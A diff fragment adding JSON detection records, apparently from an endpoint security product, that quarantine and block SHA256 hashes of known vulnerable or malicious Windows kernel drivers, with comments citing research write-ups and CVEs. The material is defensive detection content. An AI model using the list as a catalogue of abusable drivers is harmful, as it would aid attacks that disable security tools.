+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0202d1edcd86145beb45be24f2af3d5b5652c28a6eef80b8518bee2df31bd347",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "79b2dac3-68ce-5168-89fc-a3423e0df862",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.484783Z",
+  "creation_date": "2026-03-23T11:45:31.484787Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.484797Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4eaed32c4a725c43c3f5b5666a3c5d24fc89b435cf3d2388fdd37e856902204b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "79b8790b-36e6-5f62-b401-4604bc093ae2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621967Z",
+  "creation_date": "2026-03-23T11:45:29.621969Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621975Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9512115b60e67fa268a7463119add2404150842bb3dffa41124b12dd9cb580a2",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "79e848a9-6f06-5653-b5ee-49ee2ebc6b8d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608544Z",
+  "creation_date": "2026-03-23T11:45:29.608546Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608552Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cfb7af8ac67a379e7869289aeee21837c448ea6f8ab6c93988e7aa423653bd40",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "79fbe06e-e59b-566f-b9cc-b21f65750e9d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.830517Z",
+  "creation_date": "2026-03-23T11:45:31.830519Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.830524Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9165d4f3036919a96b86d24b64d75d692802c7513f2b3054b20be40c212240a5",
+  "comment": "Vulnerable Rentdrv2 Driver (aka rentdrv2_x32.sys and rentdrv_x64.sys) [https://github.com/keowu/BadRentdrv2, https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "79fd5c59-21fa-5d10-aa23-d747f2cf98b0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.497781Z",
+  "creation_date": "2026-03-23T11:45:31.497784Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.497793Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "607eeb68431468850b48f805deedd5d28c9f46db4f830f7478f583ce00104c1d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "79fd87d2-d887-522e-b7f5-ceb2188cbf48",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160082Z",
+  "creation_date": "2026-03-23T11:45:31.160084Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160090Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "622a4e536379a8ce8b2952d62e648ed38a5a4671073d135cfd845d1e6c2dbe32",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7a139dcf-c09d-5828-b8b7-1d635b6e9d6a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811257Z",
+  "creation_date": "2026-03-23T11:45:31.811259Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811264Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "52f99c59a2b6435be245ef03c7df4567e414791f4eb85e42b89c9a884fba3a1f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7a22d28d-ab8e-5f10-897d-d54e7f1eec70",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831163Z",
+  "creation_date": "2026-03-23T11:45:30.831165Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831170Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "74676ad031b03d26fac1425c1328262abed379ded73983efccea71668058633c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7a235aae-3d58-50ac-8237-cf29539344cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.830411Z",
+  "creation_date": "2026-03-23T11:45:31.830413Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.830418Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c60f7f3d1a2ffb80baee5f29cc13b435162f15b21c5d643276f1a9d2dde83b03",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7a433bab-94d6-59e5-b664-cb5c67d248d8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827293Z",
+  "creation_date": "2026-03-23T11:45:31.827295Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827301Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a6b7001bad1770540f04ccd63933e231d9f4739d61bf2cc2c6a5080f954f9296",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7a46c618-76aa-59cf-9fe5-568e708df909",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820248Z",
+  "creation_date": "2026-03-23T11:45:30.820250Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820256Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cec5964d7e32c52439d5eb660fa97827b619a7da9f3264f0c9fa4b69e3cb7cc1",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7a4a17d4-8003-5f15-b448-a344e42ba920",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614161Z",
+  "creation_date": "2026-03-23T11:45:29.614163Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614168Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2270a8144dabaf159c2888519b11b61e5e13acdaa997820c09798137bded3dd6",
+  "comment": "MICSYS Technology driver (aka MsIo64.sys) [CVE-2019-18845] [https://github.com/kkent030315/MsIoExploit] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7a7c4c2f-ae12-566a-95ae-7b4d8f316613",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815509Z",
+  "creation_date": "2026-03-23T11:45:31.815511Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815516Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f118bf09da64c4e9e5ed719cb23bde8f7b689c9ee32522f936c86f9d12ccdf64",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7a87140d-b469-54cb-90cf-626ccdd71509",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622474Z",
+  "creation_date": "2026-03-23T11:45:29.622476Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622481Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7dfc2eb033d2e090540860b8853036f40736d02bd22099ff6cf665a90be659cd",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7a9c31a7-a09c-5135-8aa1-1f2af39446e9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458494Z",
+  "creation_date": "2026-03-23T11:45:30.458497Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458505Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4c21b7065cb961127ab9e2a0251ab8d50cfd65369a41e88e36bc2908af2b1d8d",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7aac41e8-e037-55f1-9603-a098eb1db07d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985915Z",
+  "creation_date": "2026-03-23T11:45:29.985918Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985923Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "82b0e1d7a27b67f0e6dc39dc41e880bdaef5d1f69fcec38e08da2ed78e805ef9",
+  "comment": "Malicious Kernel Driver related to RedDriver (aka telephonuAfY.sys, spwizimgVT.sys, 834761775.sys, reddriver.sys, typelibdE.sys, NlsLexicons0024UvN.sys and ktmutil7ODM.sys) [https://blog.talosintelligence.com/undocumented-reddriver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7ab3fe55-b159-54b1-b78b-d458de4410cc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.476532Z",
+  "creation_date": "2026-03-23T11:45:31.476536Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476546Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "580560d9a5e1122524037da3faaedc5590ee08ad64a0134dcf735cd1d4754c0d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7ac080d9-e10f-5e4d-bba2-d81891018bf9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976101Z",
+  "creation_date": "2026-03-23T11:45:29.976103Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976108Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "09934191a9af0ab2fb1dd47a1d0e0c7c3537b53286828ffaf361d0eeac045ccb",
+  "comment": "SystemInformer driver (aka systeminformer.sys, formerly known as kprocesshacker.sys) [https://github.com/winsiderss/systeminformer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7ac9ceff-40fd-5cff-8673-32431232cc31",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980900Z",
+  "creation_date": "2026-03-23T11:45:29.980902Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980907Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c8ff7c9f510f7a2ed88d9b336d8c9339698d5e1ee14bfb91aa89703ec06dce42",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7ad00c41-a229-591d-8c96-181726e4d1cb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984858Z",
+  "creation_date": "2026-03-23T11:45:29.984860Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984866Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0040153302b88bee27eb4f1eca6855039e1a057370f5e8c615724fa5215bada3",
+  "comment": "Dangerous Physmem Kernel Driver (aka BS_Def64.Sys) [https://www.loldrivers.io/drivers/4a80da66-f8f1-4af9-ba56-696cfe6c1e10/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7ad1aac4-dfb5-5d05-a172-0ff4f1097783",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143576Z",
+  "creation_date": "2026-03-23T11:45:32.143578Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143584Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f8d45fa03f56e2ea14920b902856666b8d44f1f1b16644baf8c1ae9a61851fb6",
+  "comment": "Vulnerable Kernel Driver (aka DcProtect.sys) [https://www.loldrivers.io/drivers/7cee2ce8-7881-4a9a-bb18-61587c95f4a2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7ad1d438-bddc-5c68-9a7b-aab0db6f0994",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146154Z",
+  "creation_date": "2026-03-23T11:45:32.146157Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146162Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "65205e494d01e07c27da9a623ee5edad33dbcedc755ef5155b19cb2e908cf185",
